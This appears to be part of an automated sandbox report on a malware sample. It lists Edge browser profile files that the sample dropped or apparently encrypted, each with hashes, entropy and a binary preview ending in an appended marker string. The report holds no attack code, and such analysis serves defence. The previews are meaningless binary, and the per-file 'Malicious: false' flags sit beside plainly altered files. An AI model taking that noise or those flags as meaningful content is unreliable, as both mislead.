.1.qk..a.PB.U..lN.TR.b.A8......o.9....V..y...@!5..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.933905696606457
Encrypted:	false
SSDEEP:	48:o11bvwczxfRlVwjMBeIT/GoSi8QKHCjb/Q7NV3C8cMfAXRttv7tE6T3BQiD:u1b4cBzOjuT/GoSiBGWQH3CeAttREG1
MD5:	08EC75FC3C42B53F77BAC5598DFA003D
SHA1:	09F5069EFEF93275CA433590C72301BB4C94FD06
SHA-256:	34596E027F90FE9A935CCB227A0AF3E36D0C7AFFF63C3BBA2C5AF9EFC62913F2
SHA-512:	9664B5CF5B6AF69291199C7507D11B713D302EA9E8C98C96C61D7D40A307DA948A72706262AB536F23C417C9B426B4A7D7D1033CC125BDE93FA8A9C1381E406A
Malicious:	false
Preview:	{.. 4a2...g:tss...O..a....wt..Byh.gCHS;A.\I.4.<..(.P...Qe.P.$E.).5..N.x..c}.H.......F.LMF...]D.G.52D1..&...U.P?.A..k.'.cI...7..'\...far.Ys{..w ..J.N..#J...l.29....}..T..-.y.....I..P.p..]M........F.7.2.....:%~'}.....\|$...(. .j[.^....S#\..9...s~=.]f....r[...z...Kw.V<..4.Y..q..<..~..<.N.b..P...D.&.?..1.....l.....n...$.7..x..D .....].,8....O......iSB&..i..xe....u8.N.A._....d...QP......"`....z.M+D....-).hQM..o.!Q{...P.....0..B~a.......r...M..8aF.en0..;..wz..O.rv{.Z..s...k.......q....4......Q...=PVt...S.]."..vqt..Q]...../.2..}..ma[C..c$.....D.V...o......K.SB..?..%.9......p.Q.&G.AR#:<q..s9+v/.(:'z...f.O...\|+.(....1\|2.2.....E7..k`.H..0....AO..$.>D....C..e0........K6...8-...q'?Y..b.~.I..@...jC..v.:..\|].R..A..!...9.JB4.l:.tJF..`........$&..u...42.......;..dC...Pg o........5zg0.UzrE/.`..V....l.k_."#...Dsss..).l\|......z.........g.Qp...@P..U0.....Tm..f.\...%.!nEn..sG.....[.5.....@..<T.qq_C..!..e.ji...\.....z..X.YUI3..]..p...{..{S...1.r.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.644951813097088
Encrypted:	false
SSDEEP:	12:2//yep7EvnPT56geE5PpE0UBEfD05OgnW3i/42FWcDLFShAixpZacii9a:2/17Gnl6wrLaAoFgAiTkbD
MD5:	6FDE629E5D87A40F3CAC03F71CF019D9
SHA1:	66B2EBE54A3D354BD0661B3EA5FF6B5ED619ABC1
SHA-256:	3EE7E5697287773271AC4640989CADED2B069418B2410959781AD84A9A5119AC
SHA-512:	737175E9F1E2D97706B60C8F4D86EC0535DB41818621D9ED2E15B43B6B598330368F7C5CE2EE0CB2FCC9B5F93C2BD7E84A13646535862AEA12BC3022E6DEB1C4
Malicious:	false
Preview:	(func\}.W.D.N..H..&.N0..w.w..h..,...XG...T..N..1F..2.q........ ..Hd.....R.o.P.(..C.4.2b....g.<.=.......s-p..K#.n.r..T.].T.oaW.o...^{ ...[..n..w.9H^F.....S.+..y.(...EP.H..bNM.XF.0..U$wg.....Zn.mM..(C/..#.9.......G1..`.G.C.9 ..p...M.K..r.z. ..[........`..O...z:.....s8.......8>.m.p.9.qA;.j'.._.*.).Iq.......UV.......W....RV.]...O.Q..?..V..X..;....z....JA..;7N."9`....#...e3./.....4...7..-)3/=....3.d..ie....../..v7..r."PK.f.kQ.......Fu...Y..e.g(..\|a...'DN..B....d..=b.d.8.i)...%.........1..f....z.%.y..L...[....T.9..l....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.72584213825149
Encrypted:	false
SSDEEP:	12:YOCrNDcT7mJPvoOqc0FGh/2Ht+p3Vq22odpAbDL5K+wjsbFQKs4+i2ixpZacii9a:YJp4MvqcJhuN+plIoL+DIo5+i2iTkbD
MD5:	8BB27F63733E54FD50D00E6FE6657C65
SHA1:	FDA5652842C4A104ADF73604F3ADE2887779190B
SHA-256:	B8DAE356A4AF5C9B3134A51977976C321E64FC65107C35A796AAB9D3FA473FAA
SHA-512:	63B2C73762AA2BE1AA0F56611BCAC789913BACB91A012E2F3035B60B94B0F5AB88432153936405FB5520AD3F214018B71B457F192DBFCEA122BC396312286CDD
Malicious:	false
Preview:	{"filZp.\..'s.?..r...@.......l.;.....5<...bo..F.[..52.y..0...4`.M'.$..Ax..Xzi..s.._...>....<....\|....z..7..cdS)..zM.zL./.gVQE.p.8. ...s..VM...{.z...D.?..V%.2....#rg.7(......MF8i...yXM0..HL.....S3y.R.[..j.U.U...{.Y!H.T..j..&@./..{...'&CL..;......_...&a.?.OA...Q..N...wt...p.lG3..:......42/..\|..:yo."8.....R.\|..q/..99s..c....+9.[..}..L.D.b).w..&..t....=....K..x..r......jz.....W.f.........(.h..&bV....q+...'.;=..9..O.v.(.pv..E/..%..h...i...hC...ff.....^.3....x...3.I....?+.an.......}K.d..~.{.24=/....'.,Xl.e....P.n..m.-.....>Q../2pa_..fC...r[.....OV.....%..@e.r.L.>..........>..T4.!i..cdOB.].@fX.e.\....DdL..h...#.u.".....%..}%...I.P.......?..>..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	7.91042113626621
Encrypted:	false
SSDEEP:	48:5rTuz/5xG9QZRowHdFCigTRIBCLpckLFa+9lwBh+Kbqlvm/EKSiD:5nuz/vG9ARowHdATRIBgcAa+7wOoqlQ
MD5:	356038FBC38567441CEC5AB08C2CA84C
SHA1:	144E03B1BF2FE5C169774B526BA18C9EEDD756FE
SHA-256:	680E176CF76927D34724272401F11E65C1AF547497B378C36CF53E06C52356FB
SHA-512:	5384780DD94FAA92F6B80333296D5E319EA79E42928A5666A0F6259D02B9E80928E5762FBCB552CAFF47841DAF736D4942FCBA983C7E3491F7958D8A192441CB
Malicious:	false
Preview:	[.. g$.K>..@....Tf...a..q..f@}..C..~../.)...+..2H...5.#.=k>.(....X.....z8. ..Z.....v...i).!Ld}..Y.&'/L.:;.g...n.}Gr.....(.a...x....z;..E..L...C....Gb;.+d.!..h../.q..a2.5o..q9.H...C'=...{.....b........^"k.f.....!...s....Yu.o.R..{0..V(.:.;. .."h.7O..<.V../.,..j..7k'[.h.Q'.3_.>./..\6.W....?.. .l.l64.;...4...}...)...\|.;p..../.9.B.s..&$X....[)f.Zf...l&R[.(...\D..DY.DK....N.l.H.R.j.n......L3Kgt\|.[R..&....R.....l.)./...-.....=..&.....t.9....m&mz!.N..\.H..).K.-.t..........S..D.i..Y.j^..GC..''.4.IDvJ..v...E..j...g......k..=/.F[.......R...S>..Km.f..)}.{.b......Y.H...'`..,.UV9..g.p..9%.(........q...O:7.Ks:..\|........s\ ...jRLX....^%..`.@..f..N.x.:.c..&uK...S....._U2...y...G~l..w..&.>r.@.8...e.6...o*.:Gu.J..d.....t..:"......B....x...}.Z.6t%r."#..0Wg.iP..n.a..-...]E(U.....}.).........kk...o..6.<\|+..4...SXE......~.'..IE..AGdc..Oi....y;L..W....k._...9........l.{nN.`...r..W..]...O.V.......~.....Z.u'..H%k. ^..IfR._.fT.V.[.......P2]..Cly;P

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	9751
Entropy (8bit):	7.9775313377815875
Encrypted:	false
SSDEEP:	192:0AnV8EaiiIoBZfC813EWfycFbqK50hfDWidHMsXfStwHBjOIdff1Y:0eWEADqA3EBuBKKidHM+Kahj7dfdY
MD5:	54E2B92F1A75762B7B25858B3032D78B
SHA1:	3B7F15366E2E7DD46A13A628B5239229EEA8758C
SHA-256:	CDA537187410B0D78AFCE5D5350266937DC0B479B248677FEDBF9492AC54AC8F
SHA-512:	FFD14CB8E4D63A49A825ECC1610892F2D873F411F1EEF907512C007456AA0B3919EEB02921371133171F2F063CBDE554C0A505147E96E4AF5AF8DA6ADD47A438
Malicious:	false
Preview:	(()=>6\|-...exj.....p<3.3/.].b.._...:R.}...2.Kpe?.>.....A..2,.:%..e.z..ef.A%..^........T...vuG......`...K..t=......j...v..Y..p.V5#...w#..=o.x-b..,..,Q..B8.4o...Bw..2M.p~.V....;BW)....i.F...P..`...g.......M..L...C...x\|b."W..s.P9...Yg..gP.80....2.......M..fa..t.f..%.11$.(..R..\...tq.O.Z..X.\|.h.@P..F.XB.n..,..8`...8..".7. ...Q9W:....aL.tH.m..........]..BD..m..Ov]...eN.}..1....;....Q...ZS@..PHJg].......6^>...l....P=...o.......gR.Pp]".......4.)^..5....A....(%...u..#S.&E....Q.0?.a...=.q.....a..?vr..R...9..WT.....+._B.L...@.D$...\|...(..u..^e..}r<...J.......E......$ .....#i.......=..Z4.]..0...k......,.....kH...n.I.>;.n/...........b;k.Y'.........otV..M.-+4.......i ..<.n?XC`.Q.......#D.`.S.LI.........oE..?.....V...W.X..SG`]4....>Q..E.$.....&..\|.*.U.\|{...{N.....4..x.'....g.Z..'..l'.U..s...'.&.d.}=.W..c.f^.......Uu.......Z..A..9.>o.......^..<...$S...:...jf......\|....n..C!.$.s..hx...5..8....}...~bw.._...."K1..$ct.)... .`pL!...e...P...F..b.{Mv...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	10104
Entropy (8bit):	7.983368160616018
Encrypted:	false
SSDEEP:	192:OwXarX1PUII8ZEzqf7m15ywYZOTycdQg4MsIWj:Of1Pd3Ezukw/gYL
MD5:	D148D68C4862F7B5A294B861BC4BA514
SHA1:	2B5B2E5D49D4A21D015BD8D11C8DEE38C42E658B
SHA-256:	33A6BE1C50D84D8950F1827B908A5E67EBF3B154ACBF3E28E5810E60CC3306A2
SHA-512:	F89850919EB5F1A59F9453D5C2032FEF897A85BEFE26D0F3F3DA63180E892741EF62091C09DF11F6E896DCB53DE40D8BD9482403A9FB7F26A3DA19A24C2A78F6
Malicious:	false
Preview:	(()=>_.I....^.v...X:..{&..m$j\|.Y...-}.h.+.$..).Z.. ..\4.....[..H.>...i..#N.30...............K...z9~.N&..m....gnf}.y.1..5...W...r....I..9.);,VDZ....../,..Cm...{G>F..PB.......O.hd.#...B...9..\..==2......\|x.gUSC...};....'>..z.-.3.......S...........#...O..8.p ..........u..)..N.e...\|.+M......0..Z~...3.N.0..f.Ud.......a\|.....x....0?e.y..<...J....s.7.....3..4.,..52.>&.L.Ux.............^.W".\t.."...E..@.c\|S\..3R7\.S....?....^....S.l4.@......Q..:t..Q..``..._.Qx.y-..!'.J...@....@f..xP..V.j.MU..^.].fs._..T..f...g^......7.3.$...\|l.npt.s.6..O.C...GGk....Z.!^..v.>./.,"zzrm.S.nbeB.k....9. ....V.......>.~.m.l.........,M.BqZ0..h....O.B.!.b..p.......e9...5...\|~"_..^Z..^v...L.......E.V......_ji...DjK.GO..L>-bd.M.?...Z..(..R..8D...!.}..S.I;x.R......c.Y.eQ.....#....v....B..2..... @.. F...$'.`C...........o.......Q.b9Y.n...9..\|. .)5.....z....k.t..........LJi.+.B.Vz.+...8T>.R.b..w..../.fM..?...9......)......O...6..h(.6..B.;}......dF....L.Bw'.....~Q..h.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.84137816270165
Encrypted:	false
SSDEEP:	24:kA+ViMWs4hdX6FhQLCqKavXpGu1gerTG9EWFoW7dNaHJllwd7zD4P1M7eMiTkbD:RgW/hdXipq7/gsTGqzlc3kP1M+iD
MD5:	4CD5F2B2BE4B187ADA551EE1DF31936B
SHA1:	CF3331D8094E8009E90E7453312A5538AC75AD62
SHA-256:	B7BE4DEAC4749804546765E6B61B6F20795800682AE3928659ACF700335C3D4A
SHA-512:	2334C16550ADCAE53B9DC8333B5D4F16F9FAA0703BBA4ED73CCFF8421FCEAB491F953AEAEF55E76C2C21815B88F6CECCFAFBDF7953F91DEF13C513159C35FC9F
Malicious:	false
Preview:	{.. ..Z..<I3&../dD.Z...2.^..._^.a.X.<c.....8.x.y..[.e..f,E..$Y....c.>...\g....h.81...#.s.V.6.{3..zG.....~,...b.w=.A...u....9.......Sy..9:^..-.......xQHB......v..&...nRR....P.4K...3....`..iO...2t><.....^....Vc...W..0J.0.y......4H!..Z4.+1..V.....i6.<...,.Y...]...`i...R./..p..l...3q..V...\....~.5..6.bX{..@......7.'.T....8.GW..r...Tsd...@...]..U~./.......N?...TE/\.......cQ9.....E..._;.z...yC.y..Y.;.p.'\eL......T../T:y......Y...t%."Un{d0]Tg=w..f...%.s.......d.h.~.g.6[..b.............UE.W2b.....xW..s..C\2.nnt......f?e..q@....s......M:#......4~...LS.....r%...%...^uW.6...%..g.9.....y.'.>#.....M.j.....M)..n.lZ.$h.......H08.....X..?..t+...E...\|L...$......(v.F.S....'lb.....5D.uo.'.......TKQ..\..xY....{.y.h`.E.Q..."..W..H-..v..5..v.)..J............sr..B%....1..#.O.m.x 8..C...y..2...Rx<..U9.Wv<....%..C`r$.>3....#..A..)...o.)...>......K.....4_...K...+./.....i..&....jH/.1.@...Q.}.hC..8w,.P..e..d)......@...r....U.o9.w.f.....or.....bS.N4C.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	674
Entropy (8bit):	7.639547137294542
Encrypted:	false
SSDEEP:	12:k9YYJYXEoAM5d14wshU3TWIakQ42r9JRHjrckody0ruwixpZacii9a:gBYXEoAWcgT1akQ42rFPvB0ruwiTkbD
MD5:	C8A9BC16E38092C02BFBA22B37C54EBF
SHA1:	95576F2DAA24C7BB822986F96D48018D0C47C89D
SHA-256:	36ED03453C9F469960080B20AD50941DC7E993289F246C3E68AD6E7D89F5B52A
SHA-512:	1B67AFB62C3DDC1CE29E058A8F0549F5231AC5A0CE73477350E32737643A07C1C0B0E6088542D7987E4332E0C88DF1707F922369477CBADAAD81E75C26D56272
Malicious:	false
Preview:	2023/;....yu..-...c.\-Q$7....=.$n.D.....$h..'1.,3.H.J.U..'... ..HD...!...#f.../L....h]..-..1..).....m......nC`]....#c..K..{.Q.../..8..I..$....z..ha..<....H^.....{/.O'...S..lT\.....d......7.j....."..:.^f...v..I\.Ya...W..;.".4....L....+<...a\|".=.......Y.6j8.V.p.S_..n..@.EW'.k..&..1.Z.6.BTOKsL...)..B....<. .g.WyNV.".l..eS.,Ih.E.a.............Vq....+.s.......... E..o..L)1.9...P(.&..C.!C.....q.rw4N.A..+:..wd8......!.y..P.E\|.p...""hP-.6...MS.....-\g....K..KW.L..?.pl..85...~tl'.......LsR<.:cs.?.IM4kG....g.mgh.FT...Y....X..<.:2..-...5..SX...P.Gi1...S.o2....H'-...s(.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.48156457655412
Encrypted:	false
SSDEEP:	12:SP8spxWwrrSsITHPWiF5qsnBwHLFsixpZacii9a:K8OPrSPxTBwrFsiTkbD
MD5:	5A79A1C013940807727E86CF191C7DDE
SHA1:	757ABA8A83CD9F3BC891C37B06021DB8D93A56A5
SHA-256:	20440B8C71D0F3047FB0C5A123A202D6C8FE8636FB9FEF65B7355DF9EADC8800
SHA-512:	21CB83525B8E173EDBB3E2EFBB387A34F9A7E8E83E2C44A3A03FEAF4BAF00ECB05B165AB1232CED1BE399B48602FA2CFAA4D55E281303451422619C5E5C3A3CD
Malicious:	false
Preview:	...#c..6..`...C...h(f.l&..\..R8.Az&...._........@......4].z+..8...E,...}{..`=!.........G...W..G.w.9......HN.2....T....i+: ..x'._^......T..\|.....$....O9.\.$......J03..a4......t.0...%X.c-..N........u...2..;5.K.Q...............j...kq![..`.Z.X..c...,'9.P_../...].Y.;/..6../......[.R3..U......4..K.K80.7.v......\/.C.-....1...~.K.....r.7*...6..=.....VW..&F...7r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.287419620618081
Encrypted:	false
SSDEEP:	12:Ss0v654nPGI8TA2Efoqi4YHLdzpnDZixpZacii9a:wlPrVZyHpJZiTkbD
MD5:	03EE18E09B42348DFB328E7975F64137
SHA1:	B02EFA3560FEB30DED4C145FDC0B8597C2B53802
SHA-256:	D028B6BF93EF58E9E804028A1CD68ECD5230DBA1BDB2003577381AD963F38660
SHA-512:	3BC79C4F2E4228A4BB7A4A256A44CB95E19E2D7F4ED18B85609F83E577AB46D3CF97F3EAB660E6767D21373F500F697AEE3A6F24C52CBFA2CA2E331411579E4D
Malicious:	false
Preview:	...#.~.. F].(..Yx(..XJ.i.`..N.%/.=.. 2O..'.RG..L...Zh .D...r...G.....O.A..t..c6..y...c..T.4.w..lw........XQ!z.\|.d".r.Y.G.5.C.'j.-.6.G.UV..c'...\.1U...6.4....R...M.=...C.v#2c....^.....]F+q\|\|..f.S2.....}...j ...6.MO..c...V.YP..;.U.}.(......<...1.u.aZI......"$.4Q.8. :...LlUz3b~..q>!..$...f.?f.%D.T.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	7.265165995239715
Encrypted:	false
SSDEEP:	6:qCpIfvkA0Wf3422S3/7UvLdt4C/CIYX6WfVHJA7SO4oQhNUz346PPRjGxssZaciD:rpIfvkA0WQ2v7UvvYdA7SO4oGNUs6PJ1
MD5:	531CD7B0F83C4A0CE70EDD2DC0CFBE0F
SHA1:	4D5C824F221F30CC6E37B8ED99A9CAB02C166C7E
SHA-256:	4D9F055B17E27F122EA14E88E306FEA8B1B230C93B8591BA6D86F91B25E2DABD
SHA-512:	EDD2BCF813F10BD0E3D9C80EA2D7671066806F68998EE623EC9C2672B37F0E857F4EF43DFB09DD8FBB1EF6C6D89624951568FD0F7A0113DA2E0949FAF2EFDE7E
Malicious:	false
Preview:	...n'..Z.u..UAd]c.Z.d.v.[..!.a.Rs>....!../.....`...RD.a......... ._QN.4.g.^.........1...h.}:.......a.f...v...W}/.......?..N..5k....L......!J.BT5..Yn\`.....B."x/.......H..L.....K...p.41..M.9b......d.5b....KBR......K4*.. bU.!Q.[..G..MV.8..l..?vD..p....?>..N"..".p..s./..&...+..oM.1.Bp4J.8..A..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	666
Entropy (8bit):	7.646813813301296
Encrypted:	false
SSDEEP:	12:kVFUNPOnuj/wOP9LuFy55dpBwyz5MzLT6W8Rjr+C/pmVixpZacii9a:CMuuj/lPxuF2dpay9YT6FY8WiTkbD
MD5:	9D37C7E6FB487CF2884A3EBEFFD8B1B5
SHA1:	B033C47A91FC98849ED5AC0A6C8D641A144CE24F
SHA-256:	5C8CF85909723A46550359DFDA29ACDCE22E5D08C4CE58BACFEC56517F8CB33B
SHA-512:	917DE9A46BEEC63FB917F306C1C919AD41111E3432A2806363075C6BA16DFCCCFFEC06E52AFD6A6378569D51B201F2DDF1ABB492A129B4B4314A68CC025F84A0
Malicious:	false
Preview:	2023/..{+.SH~....atH.F..F.}...i...T......Q..0....Z..s..W.Qr...is..!...ZNJ.?..~NO..e..=E.Q..E..P...."...t).......=...q..,.].1....M:2oS-}.U..H...vp.)\...".[u2f...."`.3.o..^....D...Kl..1.T..k.\|L.......Ys...p.V?.y\...Mg7.}]..u$O.&...4x..?..`?+.........Q....{......;....d,.u...=...#q..W.n".eL............-C..O.n.6.\|S..).c9.!Q..Y.4a..x...w....4M..37-..I^......S.4\=.u:..w...M.......q...xX......f~H.^~.&.....Q _...{R.1.f..'.(d.x;......<...&.."..P..w........1i..D.rxWXyz........1.....;..k\q..B..c.......W.7.1...]v.D L..Y..>...\|-...Z...Z...\|6>...g.g2..Th....&...1..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	850
Entropy (8bit):	7.720229372550138
Encrypted:	false
SSDEEP:	24:26CGmQZQOQnenFRrg1jI9imLEBVsDUiiTkbD:26CgOOHnFhg1jI9itiD
MD5:	DC5105C3138363CFF967DC8B2F84DCFE
SHA1:	A0BBEB0AD7CED01DED3BADCDAFBC763AE5B2823F
SHA-256:	D2525A679CCFD799A726243C90C0BCA33F7311BDCE7DA9A39959129AC5D3C524
SHA-512:	F6D02C3035685EC0E6D8D63FE11A2F433579317A7645A3BA838A596EEA4F1FC65F84812947828F885D0FD71DA5B1C59925710E890DF553B123557112C064AADC
Malicious:	false
Preview:	A..r..#.)BM.m....<...u.r..S.zR.p.....!EjA.6.\|.9.q....ghkF.^.:......+.....S..."m%.r>..L_n...;.{2<.?..l? h.,c...:L.~s_Z.D}`'n%..s.......q...P.vF...s.V..5.$jAI.....G.\|w_(...Qq..........E.....C]r.\|2,.$5.....)..Z@Xj.t...a/.U.'...4nP.L..`8.-...!k.U.VZ3R.....I.s..]....'S.......-....1.aNe.;.q.S..`i.6...J..)6.>bX,/cI.p....\|e5.#uk...!.......e/..ZP^.2I...!...$Ek....a..j(....3<...<.:s....pvB.N.\..X.4.....=~q..(S..`...3./{=P..1.j..F.re.<.7.Wx0..e.Qg.....)S..A....I$d]..T.#...,.....`I.ED.."..~....H..Y$$.Tcg ..P....]..!....8...e?..HT..!...^.....-9J3kf.\|EF..mu...:.)A\|.DQ.9!.KA.^.o4...4w.)%.........8\|.0U...:.../i.2..}%}-..M..c....t.>.......f........,KP..hX.....J.8..d>.$8....5.Q.9.A`N"z.~e......j......b&..Q....A'.8...MQ8;i....P...eKX.Is.$..y.@6r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	662
Entropy (8bit):	7.660143981536879
Encrypted:	false
SSDEEP:	12:kAn8GMOvrCUdG2j6OV+5SNB8Woxe5bayh8DhvkssiN9r5huixpZacii9a:9MD0VA4/oxe5bcNFQiTkbD
MD5:	227B6643773E46469D5BFFC5292B057C
SHA1:	D5F22FD18FC6C5FC5B9BCFF279873C3EC13DA6BF
SHA-256:	9F5265573DB5BBF77911B595526771E218446848B0F1E0EFB96F24F081A5737A
SHA-512:	B2F5A18D6BCFBA7D6ABF091EAE85A54350A4154C129729C0E779D5D32C21BB9FC6E0FCEDDAD0E8ABFE7F3F4BC11D96FB071CCAA1D688DC89178B1CAB5C46B1D0
Malicious:	false
Preview:	2023/......Lb....{h.......V.,}]..S...M..{.w.<.L.~...Y&K1.....C...^.K..I.p>.).\|...n...0p.#5\o....{4.1.......^..`.g...2.d.b..x,.)0.e...C.\|8;.<d.o./.^....lD..k........fLw.CR..i.6.q.F".g..r.A.o...)[=..."w.`.GM..Hq..Zl.cz...].d`..J@.....V.D&.......fG.q.8...N...2..im.E..#d.d.=ph.k.....OI..J....S......_P.ik..d.2GQQ..q;........)...)4..i.....Hv:.P...4@...g....4..g~..&P.A..J..C.jj..L.......(.H.....'...z....`...?..ic...F.Q,mY....>A..-..D.9]+4.O.\|*.&}...i.......4=#.....f....H^....U.C.E...?......z....m.?..8\.q.]%t.0T..:...0....".....O.`...XI.P......n.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1116
Entropy (8bit):	7.79975671211348
Encrypted:	false
SSDEEP:	24:GJRZcuy4PsMVhq+aO6b6MpLLRAPbtaH7T5SFNVvlTL/NDPcSxYiTkbD:iZcuyDgheOIpLLWBCTohd//NDTDiD
MD5:	ED6A16E125DEB4AD71D2F7269C9FA8F8
SHA1:	4098F7381AD7B185F4BF76940AC0A22C0E47E0E0
SHA-256:	CD931FC7EE723F27C1ED1A66A15FE89244D74A068B04DAA94227F7C153A6B105
SHA-512:	AD5EF83A28D0F1A7C99BA05C4F5F8A930E8AB8E43D716FCC7F9C98B0CD9B5DB29987ABB269219F6ED0BD80CF771EDB07BEF3766215CA8DB1B423EBA0266E1D25
Malicious:	false
Preview:	.h.6.........7]..;.aIB...q.:.Gv.F..q'.z+..u)..[].....#......8.....LJ...x..g6.AK.."T......W..Z4..W..;.........O.02A!......"f..y:..:...`4..0.E...3....<D.lcC.e......Bsa..6..E~..\|~DP.!..k....9#!.c.2...^......x[.NC..S...l...N].Y.&.........rM.l.xh...h...uM7:....W..].H.\|..'...`8..(t....~.,..n{................%.kd............c.`...U.K....C.Q0........O...8... .....t.u)@..Oc._....N..=.8.I...;?..I..l.%`.x....0S..Up9k-.... ..M....!./.. @...9.....8..(..N...S..D._8\|,I..K+...x~T.j9.....l..>]D7..-S......V....f"...c.2f ...H...`....bP.h..L..3.#..Y.b.D...Oh.C.O..U....aH(..b.(....-a.H.....\|..(c0.s..M}&:.5n-.\..).GV...u...Dz.. ...r..F.<+...[.G.E..{I.8..#....i./..KO..i.BO. .b.Q4E.l...j.{3.dF5.w..x.,..g....Y26/.X..y&.O..~.....H.b6%^.\Sze...{.?........!..K..1..k.^\._.......iT1...!..v.&UP.l:GgB.d$.~LO[..._.*w!.3D-n(..B....6..GQ.b..$..5.....~.O.t.w.3..+....T....1....U.=G7...&_.....@......".p.a.g<..%/.H.q...+.u.[G2.._k...B........`_1r..."..@.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	680
Entropy (8bit):	7.662822496538303
Encrypted:	false
SSDEEP:	12:k8yez2iUeHLskXnkaEG6M1RDE4yyhZlaPXc56JhwvTMBGlnL+ixpZacii9a:9jvUcvVE7Ssyhr0JUMEL+iTkbD
MD5:	898076D8BA62C7A820352B63A498AF29
SHA1:	72A4D1324CE912E7F702ACD89F07C53D4D2C7CB1
SHA-256:	DB84E428A61837719E677A55976701610B7EBC31768BEA58C21772C810CFFE9B
SHA-512:	B943206F852D1F33A0EAEE0C0047649ABD9C80374B1F2B3047CEB83137302C4E7521849F422515B3DC0598713FBC8AFD96C5CEE44B953FD0D3E1B83F85422053
Malicious:	false
